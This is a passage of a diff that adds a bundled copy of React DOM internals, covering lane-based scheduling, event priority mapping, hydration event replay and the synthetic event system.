+        function markStarvedLanesAsExpired(root2, currentTime) {
+          var pendingLanes = root2.pendingLanes;
+          var suspendedLanes = root2.suspendedLanes;
+          var pingedLanes = root2.pingedLanes;
+          var expirationTimes = root2.expirationTimes;
+          var lanes = pendingLanes;
+          while (lanes > 0) {
+            var index2 = pickArbitraryLaneIndex(lanes);
+            var lane = 1 << index2;
+            var expirationTime = expirationTimes[index2];
+            if (expirationTime === NoTimestamp) {
+              if ((lane & suspendedLanes) === NoLanes || (lane & pingedLanes) !== NoLanes) {
+                expirationTimes[index2] = computeExpirationTime(lane, currentTime);
+              }
+            } else if (expirationTime <= currentTime) {
+              root2.expiredLanes |= lane;
+            }
+            lanes &= ~lane;
+          }
+        }
+        function getHighestPriorityPendingLanes(root2) {
+          return getHighestPriorityLanes(root2.pendingLanes);
+        }
+        function getLanesToRetrySynchronouslyOnError(root2) {
+          var everythingButOffscreen = root2.pendingLanes & ~OffscreenLane;
+          if (everythingButOffscreen !== NoLanes) {
+            return everythingButOffscreen;
+          }
+          if (everythingButOffscreen & OffscreenLane) {
+            return OffscreenLane;
+          }
+          return NoLanes;
+        }
+        function includesSyncLane(lanes) {
+          return (lanes & SyncLane) !== NoLanes;
+        }
+        function includesNonIdleWork(lanes) {
+          return (lanes & NonIdleLanes) !== NoLanes;
+        }
+        function includesOnlyRetries(lanes) {
+          return (lanes & RetryLanes) === lanes;
+        }
+        function includesOnlyNonUrgentLanes(lanes) {
+          var UrgentLanes = SyncLane | InputContinuousLane | DefaultLane;
+          return (lanes & UrgentLanes) === NoLanes;
+        }
+        function includesOnlyTransitions(lanes) {
+          return (lanes & TransitionLanes) === lanes;
+        }
+        function includesBlockingLane(root2, lanes) {
+          var SyncDefaultLanes = InputContinuousHydrationLane | InputContinuousLane | DefaultHydrationLane | DefaultLane;
+          return (lanes & SyncDefaultLanes) !== NoLanes;
+        }
+        function includesExpiredLane(root2, lanes) {
+          return (lanes & root2.expiredLanes) !== NoLanes;
+        }
+        function isTransitionLane(lane) {
+          return (lane & TransitionLanes) !== NoLanes;
+        }
+        function claimNextTransitionLane() {
+          var lane = nextTransitionLane;
+          nextTransitionLane <<= 1;
+          if ((nextTransitionLane & TransitionLanes) === NoLanes) {
+            nextTransitionLane = TransitionLane1;
+          }
+          return lane;
+        }
+        function claimNextRetryLane() {
+          var lane = nextRetryLane;
+          nextRetryLane <<= 1;
+          if ((nextRetryLane & RetryLanes) === NoLanes) {
+            nextRetryLane = RetryLane1;
+          }
+          return lane;
+        }
+        function getHighestPriorityLane(lanes) {
+          return lanes & -lanes;
+        }
+        function pickArbitraryLane(lanes) {
+          return getHighestPriorityLane(lanes);
+        }
+        function pickArbitraryLaneIndex(lanes) {
+          return 31 - clz32(lanes);
+        }
+        function laneToIndex(lane) {
+          return pickArbitraryLaneIndex(lane);
+        }
+        function includesSomeLane(a2, b2) {
+          return (a2 & b2) !== NoLanes;
+        }
+        function isSubsetOfLanes(set2, subset) {
+          return (set2 & subset) === subset;
+        }
+        function mergeLanes(a2, b2) {
+          return a2 | b2;
+        }
+        function removeLanes(set2, subset) {
+          return set2 & ~subset;
+        }
+        function intersectLanes(a2, b2) {
+          return a2 & b2;
+        }
+        function laneToLanes(lane) {
+          return lane;
+        }
+        function higherPriorityLane(a2, b2) {
+          return a2 !== NoLane && a2 < b2 ? a2 : b2;
+        }
+        function createLaneMap(initial) {
+          var laneMap = [];
+          for (var i2 = 0; i2 < TotalLanes; i2++) {
+            laneMap.push(initial);
+          }
+          return laneMap;
+        }
+        function markRootUpdated(root2, updateLane, eventTime) {
+          root2.pendingLanes |= updateLane;
+          if (updateLane !== IdleLane) {
+            root2.suspendedLanes = NoLanes;
+            root2.pingedLanes = NoLanes;
+          }
+          var eventTimes = root2.eventTimes;
+          var index2 = laneToIndex(updateLane);
+          eventTimes[index2] = eventTime;
+        }
+        function markRootSuspended(root2, suspendedLanes) {
+          root2.suspendedLanes |= suspendedLanes;
+          root2.pingedLanes &= ~suspendedLanes;
+          var expirationTimes = root2.expirationTimes;
+          var lanes = suspendedLanes;
+          while (lanes > 0) {
+            var index2 = pickArbitraryLaneIndex(lanes);
+            var lane = 1 << index2;
+            expirationTimes[index2] = NoTimestamp;
+            lanes &= ~lane;
+          }
+        }
+        function markRootPinged(root2, pingedLanes, eventTime) {
+          root2.pingedLanes |= root2.suspendedLanes & pingedLanes;
+        }
+        function markRootFinished(root2, remainingLanes) {
+          var noLongerPendingLanes = root2.pendingLanes & ~remainingLanes;
+          root2.pendingLanes = remainingLanes;
+          root2.suspendedLanes = NoLanes;
+          root2.pingedLanes = NoLanes;
+          root2.expiredLanes &= remainingLanes;
+          root2.mutableReadLanes &= remainingLanes;
+          root2.entangledLanes &= remainingLanes;
+          var entanglements = root2.entanglements;
+          var eventTimes = root2.eventTimes;
+          var expirationTimes = root2.expirationTimes;
+          var lanes = noLongerPendingLanes;
+          while (lanes > 0) {
+            var index2 = pickArbitraryLaneIndex(lanes);
+            var lane = 1 << index2;
+            entanglements[index2] = NoLanes;
+            eventTimes[index2] = NoTimestamp;
+            expirationTimes[index2] = NoTimestamp;
+            lanes &= ~lane;
+          }
+        }
+        function markRootEntangled(root2, entangledLanes) {
+          var rootEntangledLanes = root2.entangledLanes |= entangledLanes;
+          var entanglements = root2.entanglements;
+          var lanes = rootEntangledLanes;
+          while (lanes) {
+            var index2 = pickArbitraryLaneIndex(lanes);
+            var lane = 1 << index2;
+            if (lane & entangledLanes | entanglements[index2] & entangledLanes) {
+              entanglements[index2] |= entangledLanes;
+            }
+            lanes &= ~lane;
+          }
+        }
+        function getBumpedLaneForHydration(root2, renderLanes2) {
+          var renderLane = getHighestPriorityLane(renderLanes2);
+          var lane;
+          switch (renderLane) {
+            case InputContinuousLane:
+              lane = InputContinuousHydrationLane;
+              break;
+            case DefaultLane:
+              lane = DefaultHydrationLane;
+              break;
+            case TransitionLane1:
+            case TransitionLane2:
+            case TransitionLane3:
+            case TransitionLane4:
+            case TransitionLane5:
+            case TransitionLane6:
+            case TransitionLane7:
+            case TransitionLane8:
+            case TransitionLane9:
+            case TransitionLane10:
+            case TransitionLane11:
+            case TransitionLane12:
+            case TransitionLane13:
+            case TransitionLane14:
+            case TransitionLane15:
+            case TransitionLane16:
+            case RetryLane1:
+            case RetryLane2:
+            case RetryLane3:
+            case RetryLane4:
+            case RetryLane5:
+              lane = TransitionHydrationLane;
+              break;
+            case IdleLane:
+              lane = IdleHydrationLane;
+              break;
+            default:
+              lane = NoLane;
+              break;
+          }
+          if ((lane & (root2.suspendedLanes | renderLanes2)) !== NoLane) {
+            return NoLane;
+          }
+          return lane;
+        }
+        function addFiberToLanesMap(root2, fiber, lanes) {
+          if (!isDevToolsPresent) {
+            return;
+          }
+          var pendingUpdatersLaneMap = root2.pendingUpdatersLaneMap;
+          while (lanes > 0) {
+            var index2 = laneToIndex(lanes);
+            var lane = 1 << index2;
+            var updaters = pendingUpdatersLaneMap[index2];
+            updaters.add(fiber);
+            lanes &= ~lane;
+          }
+        }
+        function movePendingFibersToMemoized(root2, lanes) {
+          if (!isDevToolsPresent) {
+            return;
+          }
+          var pendingUpdatersLaneMap = root2.pendingUpdatersLaneMap;
+          var memoizedUpdaters = root2.memoizedUpdaters;
+          while (lanes > 0) {
+            var index2 = laneToIndex(lanes);
+            var lane = 1 << index2;
+            var updaters = pendingUpdatersLaneMap[index2];
+            if (updaters.size > 0) {
+              updaters.forEach(function(fiber) {
+                var alternate = fiber.alternate;
+                if (alternate === null || !memoizedUpdaters.has(alternate)) {
+                  memoizedUpdaters.add(fiber);
+                }
+              });
+              updaters.clear();
+            }
+            lanes &= ~lane;
+          }
+        }
+        function getTransitionsForLanes(root2, lanes) {
+          {
+            return null;
+          }
+        }
+        var DiscreteEventPriority = SyncLane;
+        var ContinuousEventPriority = InputContinuousLane;
+        var DefaultEventPriority = DefaultLane;
+        var IdleEventPriority = IdleLane;
+        var currentUpdatePriority = NoLane;
+        function getCurrentUpdatePriority() {
+          return currentUpdatePriority;
+        }
+        function setCurrentUpdatePriority(newPriority) {
+          currentUpdatePriority = newPriority;
+        }
+        function runWithPriority(priority, fn) {
+          var previousPriority = currentUpdatePriority;
+          try {
+            currentUpdatePriority = priority;
+            return fn();
+          } finally {
+            currentUpdatePriority = previousPriority;
+          }
+        }
+        function higherEventPriority(a2, b2) {
+          return a2 !== 0 && a2 < b2 ? a2 : b2;
+        }
+        function lowerEventPriority(a2, b2) {
+          return a2 === 0 || a2 > b2 ? a2 : b2;
+        }
+        function isHigherEventPriority(a2, b2) {
+          return a2 !== 0 && a2 < b2;
+        }
+        function lanesToEventPriority(lanes) {
+          var lane = getHighestPriorityLane(lanes);
+          if (!isHigherEventPriority(DiscreteEventPriority, lane)) {
+            return DiscreteEventPriority;
+          }
+          if (!isHigherEventPriority(ContinuousEventPriority, lane)) {
+            return ContinuousEventPriority;
+          }
+          if (includesNonIdleWork(lane)) {
+            return DefaultEventPriority;
+          }
+          return IdleEventPriority;
+        }
+        function isRootDehydrated(root2) {
+          var currentState = root2.current.memoizedState;
+          return currentState.isDehydrated;
+        }
+        var _attemptSynchronousHydration;
+        function setAttemptSynchronousHydration(fn) {
+          _attemptSynchronousHydration = fn;
+        }
+        function attemptSynchronousHydration(fiber) {
+          _attemptSynchronousHydration(fiber);
+        }
+        var attemptContinuousHydration;
+        function setAttemptContinuousHydration(fn) {
+          attemptContinuousHydration = fn;
+        }
+        var attemptHydrationAtCurrentPriority;
+        function setAttemptHydrationAtCurrentPriority(fn) {
+          attemptHydrationAtCurrentPriority = fn;
+        }
+        var getCurrentUpdatePriority$1;
+        function setGetCurrentUpdatePriority(fn) {
+          getCurrentUpdatePriority$1 = fn;
+        }
+        var attemptHydrationAtPriority;
+        function setAttemptHydrationAtPriority(fn) {
+          attemptHydrationAtPriority = fn;
+        }
+        var hasScheduledReplayAttempt = false;
+        var queuedDiscreteEvents = [];
+        var queuedFocus = null;
+        var queuedDrag = null;
+        var queuedMouse = null;
+        var queuedPointers = /* @__PURE__ */ new Map();
+        var queuedPointerCaptures = /* @__PURE__ */ new Map();
+        var queuedExplicitHydrationTargets = [];
+        var discreteReplayableEvents = [
+          "mousedown",
+          "mouseup",
+          "touchcancel",
+          "touchend",
+          "touchstart",
+          "auxclick",
+          "dblclick",
+          "pointercancel",
+          "pointerdown",
+          "pointerup",
+          "dragend",
+          "dragstart",
+          "drop",
+          "compositionend",
+          "compositionstart",
+          "keydown",
+          "keypress",
+          "keyup",
+          "input",
+          "textInput",
+          "copy",
+          "cut",
+          "paste",
+          "click",
+          "change",
+          "contextmenu",
+          "reset",
+          "submit"
+        ];
+        function isDiscreteEventThatRequiresHydration(eventType) {
+          return discreteReplayableEvents.indexOf(eventType) > -1;
+        }
+        function createQueuedReplayableEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
+          return {
+            blockedOn,
+            domEventName,
+            eventSystemFlags,
+            nativeEvent,
+            targetContainers: [targetContainer]
+          };
+        }
+        function clearIfContinuousEvent(domEventName, nativeEvent) {
+          switch (domEventName) {
+            case "focusin":
+            case "focusout":
+              queuedFocus = null;
+              break;
+            case "dragenter":
+            case "dragleave":
+              queuedDrag = null;
+              break;
+            case "mouseover":
+            case "mouseout":
+              queuedMouse = null;
+              break;
+            case "pointerover":
+            case "pointerout": {
+              var pointerId = nativeEvent.pointerId;
+              queuedPointers.delete(pointerId);
+              break;
+            }
+            case "gotpointercapture":
+            case "lostpointercapture": {
+              var _pointerId = nativeEvent.pointerId;
+              queuedPointerCaptures.delete(_pointerId);
+              break;
+            }
+          }
+        }
+        function accumulateOrCreateContinuousQueuedReplayableEvent(existingQueuedEvent, blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
+          if (existingQueuedEvent === null || existingQueuedEvent.nativeEvent !== nativeEvent) {
+            var queuedEvent = createQueuedReplayableEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent);
+            if (blockedOn !== null) {
+              var _fiber2 = getInstanceFromNode(blockedOn);
+              if (_fiber2 !== null) {
+                attemptContinuousHydration(_fiber2);
+              }
+            }
+            return queuedEvent;
+          }
+          existingQueuedEvent.eventSystemFlags |= eventSystemFlags;
+          var targetContainers = existingQueuedEvent.targetContainers;
+          if (targetContainer !== null && targetContainers.indexOf(targetContainer) === -1) {
+            targetContainers.push(targetContainer);
+          }
+          return existingQueuedEvent;
+        }
+        function queueIfContinuousEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
+          switch (domEventName) {
+            case "focusin": {
+              var focusEvent = nativeEvent;
+              queuedFocus = accumulateOrCreateContinuousQueuedReplayableEvent(queuedFocus, blockedOn, domEventName, eventSystemFlags, targetContainer, focusEvent);
+              return true;
+            }
+            case "dragenter": {
+              var dragEvent = nativeEvent;
+              queuedDrag = accumulateOrCreateContinuousQueuedReplayableEvent(queuedDrag, blockedOn, domEventName, eventSystemFlags, targetContainer, dragEvent);
+              return true;
+            }
+            case "mouseover": {
+              var mouseEvent = nativeEvent;
+              queuedMouse = accumulateOrCreateContinuousQueuedReplayableEvent(queuedMouse, blockedOn, domEventName, eventSystemFlags, targetContainer, mouseEvent);
+              return true;
+            }
+            case "pointerover": {
+              var pointerEvent = nativeEvent;
+              var pointerId = pointerEvent.pointerId;
+              queuedPointers.set(pointerId, accumulateOrCreateContinuousQueuedReplayableEvent(queuedPointers.get(pointerId) || null, blockedOn, domEventName, eventSystemFlags, targetContainer, pointerEvent));
+              return true;
+            }
+            case "gotpointercapture": {
+              var _pointerEvent = nativeEvent;
+              var _pointerId2 = _pointerEvent.pointerId;
+              queuedPointerCaptures.set(_pointerId2, accumulateOrCreateContinuousQueuedReplayableEvent(queuedPointerCaptures.get(_pointerId2) || null, blockedOn, domEventName, eventSystemFlags, targetContainer, _pointerEvent));
+              return true;
+            }
+          }
+          return false;
+        }
+        function attemptExplicitHydrationTarget(queuedTarget) {
+          var targetInst = getClosestInstanceFromNode(queuedTarget.target);
+          if (targetInst !== null) {
+            var nearestMounted = getNearestMountedFiber(targetInst);
+            if (nearestMounted !== null) {
+              var tag = nearestMounted.tag;
+              if (tag === SuspenseComponent) {
+                var instance = getSuspenseInstanceFromFiber(nearestMounted);
+                if (instance !== null) {
+                  queuedTarget.blockedOn = instance;
+                  attemptHydrationAtPriority(queuedTarget.priority, function() {
+                    attemptHydrationAtCurrentPriority(nearestMounted);
+                  });
+                  return;
+                }
+              } else if (tag === HostRoot) {
+                var root2 = nearestMounted.stateNode;
+                if (isRootDehydrated(root2)) {
+                  queuedTarget.blockedOn = getContainerFromFiber(nearestMounted);
+                  return;
+                }
+              }
+            }
+          }
+          queuedTarget.blockedOn = null;
+        }
+        function queueExplicitHydrationTarget(target) {
+          var updatePriority = getCurrentUpdatePriority$1();
+          var queuedTarget = {
+            blockedOn: null,
+            target,
+            priority: updatePriority
+          };
+          var i2 = 0;
+          for (; i2 < queuedExplicitHydrationTargets.length; i2++) {
+            if (!isHigherEventPriority(updatePriority, queuedExplicitHydrationTargets[i2].priority)) {
+              break;
+            }
+          }
+          queuedExplicitHydrationTargets.splice(i2, 0, queuedTarget);
+          if (i2 === 0) {
+            attemptExplicitHydrationTarget(queuedTarget);
+          }
+        }
+        function attemptReplayContinuousQueuedEvent(queuedEvent) {
+          if (queuedEvent.blockedOn !== null) {
+            return false;
+          }
+          var targetContainers = queuedEvent.targetContainers;
+          while (targetContainers.length > 0) {
+            var targetContainer = targetContainers[0];
+            var nextBlockedOn = findInstanceBlockingEvent(queuedEvent.domEventName, queuedEvent.eventSystemFlags, targetContainer, queuedEvent.nativeEvent);
+            if (nextBlockedOn === null) {
+              {
+                var nativeEvent = queuedEvent.nativeEvent;
+                var nativeEventClone = new nativeEvent.constructor(nativeEvent.type, nativeEvent);
+                setReplayingEvent(nativeEventClone);
+                nativeEvent.target.dispatchEvent(nativeEventClone);
+                resetReplayingEvent();
+              }
+            } else {
+              var _fiber3 = getInstanceFromNode(nextBlockedOn);
+              if (_fiber3 !== null) {
+                attemptContinuousHydration(_fiber3);
+              }
+              queuedEvent.blockedOn = nextBlockedOn;
+              return false;
+            }
+            targetContainers.shift();
+          }
+          return true;
+        }
+        function attemptReplayContinuousQueuedEventInMap(queuedEvent, key, map) {
+          if (attemptReplayContinuousQueuedEvent(queuedEvent)) {
+            map.delete(key);
+          }
+        }
+        function replayUnblockedEvents() {
+          hasScheduledReplayAttempt = false;
+          if (queuedFocus !== null && attemptReplayContinuousQueuedEvent(queuedFocus)) {
+            queuedFocus = null;
+          }
+          if (queuedDrag !== null && attemptReplayContinuousQueuedEvent(queuedDrag)) {
+            queuedDrag = null;
+          }
+          if (queuedMouse !== null && attemptReplayContinuousQueuedEvent(queuedMouse)) {
+            queuedMouse = null;
+          }
+          queuedPointers.forEach(attemptReplayContinuousQueuedEventInMap);
+          queuedPointerCaptures.forEach(attemptReplayContinuousQueuedEventInMap);
+        }
+        function scheduleCallbackIfUnblocked(queuedEvent, unblocked) {
+          if (queuedEvent.blockedOn === unblocked) {
+            queuedEvent.blockedOn = null;
+            if (!hasScheduledReplayAttempt) {
+              hasScheduledReplayAttempt = true;
+              Scheduler.unstable_scheduleCallback(Scheduler.unstable_NormalPriority, replayUnblockedEvents);
+            }
+          }
+        }
+        function retryIfBlockedOn(unblocked) {
+          if (queuedDiscreteEvents.length > 0) {
+            scheduleCallbackIfUnblocked(queuedDiscreteEvents[0], unblocked);
+            for (var i2 = 1; i2 < queuedDiscreteEvents.length; i2++) {
+              var queuedEvent = queuedDiscreteEvents[i2];
+              if (queuedEvent.blockedOn === unblocked) {
+                queuedEvent.blockedOn = null;
+              }
+            }
+          }
+          if (queuedFocus !== null) {
+            scheduleCallbackIfUnblocked(queuedFocus, unblocked);
+          }
+          if (queuedDrag !== null) {
+            scheduleCallbackIfUnblocked(queuedDrag, unblocked);
+          }
+          if (queuedMouse !== null) {
+            scheduleCallbackIfUnblocked(queuedMouse, unblocked);
+          }
+          var unblock = function(queuedEvent2) {
+            return scheduleCallbackIfUnblocked(queuedEvent2, unblocked);
+          };
+          queuedPointers.forEach(unblock);
+          queuedPointerCaptures.forEach(unblock);
+          for (var _i = 0; _i < queuedExplicitHydrationTargets.length; _i++) {
+            var queuedTarget = queuedExplicitHydrationTargets[_i];
+            if (queuedTarget.blockedOn === unblocked) {
+              queuedTarget.blockedOn = null;
+            }
+          }
+          while (queuedExplicitHydrationTargets.length > 0) {
+            var nextExplicitTarget = queuedExplicitHydrationTargets[0];
+            if (nextExplicitTarget.blockedOn !== null) {
+              break;
+            } else {
+              attemptExplicitHydrationTarget(nextExplicitTarget);
+              if (nextExplicitTarget.blockedOn === null) {
+                queuedExplicitHydrationTargets.shift();
+              }
+            }
+          }
+        }
+        var ReactCurrentBatchConfig = ReactSharedInternals.ReactCurrentBatchConfig;
+        var _enabled = true;
+        function setEnabled(enabled) {
+          _enabled = !!enabled;
+        }
+        function isEnabled() {
+          return _enabled;
+        }
+        function createEventListenerWrapperWithPriority(targetContainer, domEventName, eventSystemFlags) {
+          var eventPriority = getEventPriority(domEventName);
+          var listenerWrapper;
+          switch (eventPriority) {
+            case DiscreteEventPriority:
+              listenerWrapper = dispatchDiscreteEvent;
+              break;
+            case ContinuousEventPriority:
+              listenerWrapper = dispatchContinuousEvent;
+              break;
+            case DefaultEventPriority:
+            default:
+              listenerWrapper = dispatchEvent;
+              break;
+          }
+          return listenerWrapper.bind(null, domEventName, eventSystemFlags, targetContainer);
+        }
+        function dispatchDiscreteEvent(domEventName, eventSystemFlags, container, nativeEvent) {
+          var previousPriority = getCurrentUpdatePriority();
+          var prevTransition = ReactCurrentBatchConfig.transition;
+          ReactCurrentBatchConfig.transition = null;
+          try {
+            setCurrentUpdatePriority(DiscreteEventPriority);
+            dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);
+          } finally {
+            setCurrentUpdatePriority(previousPriority);
+            ReactCurrentBatchConfig.transition = prevTransition;
+          }
+        }
+        function dispatchContinuousEvent(domEventName, eventSystemFlags, container, nativeEvent) {
+          var previousPriority = getCurrentUpdatePriority();
+          var prevTransition = ReactCurrentBatchConfig.transition;
+          ReactCurrentBatchConfig.transition = null;
+          try {
+            setCurrentUpdatePriority(ContinuousEventPriority);
+            dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);
+          } finally {
+            setCurrentUpdatePriority(previousPriority);
+            ReactCurrentBatchConfig.transition = prevTransition;
+          }
+        }
+        function dispatchEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
+          if (!_enabled) {
+            return;
+          }
+          {
+            dispatchEventWithEnableCapturePhaseSelectiveHydrationWithoutDiscreteEventReplay(domEventName, eventSystemFlags, targetContainer, nativeEvent);
+          }
+        }
+        function dispatchEventWithEnableCapturePhaseSelectiveHydrationWithoutDiscreteEventReplay(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
+          var blockedOn = findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent);
+          if (blockedOn === null) {
+            dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, return_targetInst, targetContainer);
+            clearIfContinuousEvent(domEventName, nativeEvent);
+            return;
+          }
+          if (queueIfContinuousEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent)) {
+            nativeEvent.stopPropagation();
+            return;
+          }
+          clearIfContinuousEvent(domEventName, nativeEvent);
+          if (eventSystemFlags & IS_CAPTURE_PHASE && isDiscreteEventThatRequiresHydration(domEventName)) {
+            while (blockedOn !== null) {
+              var fiber = getInstanceFromNode(blockedOn);
+              if (fiber !== null) {
+                attemptSynchronousHydration(fiber);
+              }
+              var nextBlockedOn = findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent);
+              if (nextBlockedOn === null) {
+                dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, return_targetInst, targetContainer);
+              }
+              if (nextBlockedOn === blockedOn) {
+                break;
+              }
+              blockedOn = nextBlockedOn;
+            }
+            if (blockedOn !== null) {
+              nativeEvent.stopPropagation();
+            }
+            return;
+          }
+          dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, null, targetContainer);
+        }
+        var return_targetInst = null;
+        function findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
+          return_targetInst = null;
+          var nativeEventTarget = getEventTarget(nativeEvent);
+          var targetInst = getClosestInstanceFromNode(nativeEventTarget);
+          if (targetInst !== null) {
+            var nearestMounted = getNearestMountedFiber(targetInst);
+            if (nearestMounted === null) {
+              targetInst = null;
+            } else {
+              var tag = nearestMounted.tag;
+              if (tag === SuspenseComponent) {
+                var instance = getSuspenseInstanceFromFiber(nearestMounted);
+                if (instance !== null) {
+                  return instance;
+                }
+                targetInst = null;
+              } else if (tag === HostRoot) {
+                var root2 = nearestMounted.stateNode;
+                if (isRootDehydrated(root2)) {
+                  return getContainerFromFiber(nearestMounted);
+                }
+                targetInst = null;
+              } else if (nearestMounted !== targetInst) {
+                targetInst = null;
+              }
+            }
+          }
+          return_targetInst = targetInst;
+          return null;
+        }
+        function getEventPriority(domEventName) {
+          switch (domEventName) {
+            case "cancel":
+            case "click":
+            case "close":
+            case "contextmenu":
+            case "copy":
+            case "cut":
+            case "auxclick":
+            case "dblclick":
+            case "dragend":
+            case "dragstart":
+            case "drop":
+            case "focusin":
+            case "focusout":
+            case "input":
+            case "invalid":
+            case "keydown":
+            case "keypress":
+            case "keyup":
+            case "mousedown":
+            case "mouseup":
+            case "paste":
+            case "pause":
+            case "play":
+            case "pointercancel":
+            case "pointerdown":
+            case "pointerup":
+            case "ratechange":
+            case "reset":
+            case "resize":
+            case "seeked":
+            case "submit":
+            case "touchcancel":
+            case "touchend":
+            case "touchstart":
+            case "volumechange":
+            case "change":
+            case "selectionchange":
+            case "textInput":
+            case "compositionstart":
+            case "compositionend":
+            case "compositionupdate":
+            case "beforeblur":
+            case "afterblur":
+            case "beforeinput":
+            case "blur":
+            case "fullscreenchange":
+            case "focus":
+            case "hashchange":
+            case "popstate":
+            case "select":
+            case "selectstart":
+              return DiscreteEventPriority;
+            case "drag":
+            case "dragenter":
+            case "dragexit":
+            case "dragleave":
+            case "dragover":
+            case "mousemove":
+            case "mouseout":
+            case "mouseover":
+            case "pointermove":
+            case "pointerout":
+            case "pointerover":
+            case "scroll":
+            case "toggle":
+            case "touchmove":
+            case "wheel":
+            case "mouseenter":
+            case "mouseleave":
+            case "pointerenter":
+            case "pointerleave":
+              return ContinuousEventPriority;
+            case "message": {
+              var schedulerPriority = getCurrentPriorityLevel();
+              switch (schedulerPriority) {
+                case ImmediatePriority:
+                  return DiscreteEventPriority;
+                case UserBlockingPriority:
+                  return ContinuousEventPriority;
+                case NormalPriority:
+                case LowPriority:
+                  return DefaultEventPriority;
+                case IdlePriority:
+                  return IdleEventPriority;
+                default:
+                  return DefaultEventPriority;
+              }
+            }
+            default:
+              return DefaultEventPriority;
+          }
+        }
+        function addEventBubbleListener(target, eventType, listener) {
+          target.addEventListener(eventType, listener, false);
+          return listener;
+        }
+        function addEventCaptureListener(target, eventType, listener) {
+          target.addEventListener(eventType, listener, true);
+          return listener;
+        }
+        function addEventCaptureListenerWithPassiveFlag(target, eventType, listener, passive) {
+          target.addEventListener(eventType, listener, {
+            capture: true,
+            passive
+          });
+          return listener;
+        }
+        function addEventBubbleListenerWithPassiveFlag(target, eventType, listener, passive) {
+          target.addEventListener(eventType, listener, {
+            passive
+          });
+          return listener;
+        }
+        var root = null;
+        var startText = null;
+        var fallbackText = null;
+        function initialize(nativeEventTarget) {
+          root = nativeEventTarget;
+          startText = getText();
+          return true;
+        }
+        function reset() {
+          root = null;
+          startText = null;
+          fallbackText = null;
+        }
+        function getData() {
+          if (fallbackText) {
+            return fallbackText;
+          }
+          var start;
+          var startValue = startText;
+          var startLength = startValue.length;
+          var end;
+          var endValue = getText();
+          var endLength = endValue.length;
+          for (start = 0; start < startLength; start++) {
+            if (startValue[start] !== endValue[start]) {
+              break;
+            }
+          }
+          var minEnd = startLength - start;
+          for (end = 1; end <= minEnd; end++) {
+            if (startValue[startLength - end] !== endValue[endLength - end]) {
+              break;
+            }
+          }
+          var sliceTail = end > 1 ? 1 - end : void 0;
+          fallbackText = endValue.slice(start, sliceTail);
+          return fallbackText;
+        }
+        function getText() {
+          if ("value" in root) {
+            return root.value;
+          }
+          return root.textContent;
+        }
+        function getEventCharCode(nativeEvent) {
+          var charCode;
+          var keyCode = nativeEvent.keyCode;
+          if ("charCode" in nativeEvent) {
+            charCode = nativeEvent.charCode;
+            if (charCode === 0 && keyCode === 13) {
+              charCode = 13;
+            }
+          } else {
+            charCode = keyCode;
+          }
+          if (charCode === 10) {
+            charCode = 13;
+          }
+          if (charCode >= 32 || charCode === 13) {
+            return charCode;
+          }
+          return 0;
+        }
+        function functionThatReturnsTrue() {
+          return true;
+        }
+        function functionThatReturnsFalse() {
+          return false;
+        }
+        function createSyntheticEvent(Interface) {
+          function SyntheticBaseEvent(reactName, reactEventType, targetInst, nativeEvent, nativeEventTarget) {
+            this._reactName = reactName;
+            this._targetInst = targetInst;
+            this.type = reactEventType;
+            this.nativeEvent = nativeEvent;
+            this.target = nativeEventTarget;
+            this.currentTarget = null;
+            for (var _propName in Interface) {
+              if (!Interface.hasOwnProperty(_propName)) {
+                continue;
+              }
+              var normalize = Interface[_propName];
+              if (normalize) {
+                this[_propName] = normalize(nativeEvent);
+              } else {
+                this[_propName] = nativeEvent[_propName];
+              }
+            }
+            var defaultPrevented = nativeEvent.defaultPrevented != null ? nativeEvent.defaultPrevented : nativeEvent.returnValue === false;
+            if (defaultPrevented) {
+              this.isDefaultPrevented = functionThatReturnsTrue;
+            } else {
+              this.isDefaultPrevented = functionThatReturnsFalse;
+            }
+            this.isPropagationStopped = functionThatReturnsFalse;
+            return this;
+          }
+          assign(SyntheticBaseEvent.prototype, {
+            preventDefault: function() {
+              this.defaultPrevented = true;
+              var event = this.nativeEvent;
+              if (!event) {
+                return;
+              }
+              if (event.preventDefault) {
+                event.preventDefault();
+              } else if (typeof event.returnValue !== "unknown") {
+                event.returnValue = false;
+              }
+              this.isDefaultPrevented = functionThatReturnsTrue;
+            },
+            stopPropagation: function() {
+              var event = this.nativeEvent;
+              if (!event) {
+                return;
+              }
+              if (event.stopPropagation) {
+                event.stopPropagation();
+              } else if (typeof event.cancelBubble !== "unknown") {
+                event.cancelBubble = true;
+              }
+              this.isPropagationStopped = functionThatReturnsTrue;
+            },
+            persist: function() {
+            },
+            isPersistent: functionThatReturnsTrue
+          });
+          return SyntheticBaseEvent;
+        }
+        var EventInterface = {
+          eventPhase: 0,
+          bubbles: 0,
+          cancelable: 0,
+          timeStamp: function(event) {
+            return event.timeStamp || Date.now();
+          },
+          defaultPrevented: 0,
+          isTrusted: 0
+        };
+        var SyntheticEvent = createSyntheticEvent(EventInterface);
+        var UIEventInterface = assign({}, EventInterface, {
+          view: 0,
+          detail: 0
+        });
+        var SyntheticUIEvent = createSyntheticEvent(UIEventInterface);
+        var lastMovementX;
+        var lastMovementY;
+        var lastMouseEvent;
+        function updateMouseMovementPolyfillState(event) {
+          if (event !== lastMouseEvent) {
+            if (lastMouseEvent && event.type === "mousemove") {
+              lastMovementX = event.screenX - lastMouseEvent.screenX;
+              lastMovementY = event.screenY - lastMouseEvent.screenY;
+            } else {
+              lastMovementX = 0;
+              lastMovementY = 0;
+            }
+            lastMouseEvent = event;
+          }
+        }
+        var MouseEventInterface = assign({}, UIEventInterface, {
+          screenX: 0,
+          screenY: 0,
+          clientX: 0,
+          clientY: 0,
+          pageX: 0,
+          pageY: 0,
+          ctrlKey: 0,
+          shiftKey: 0,
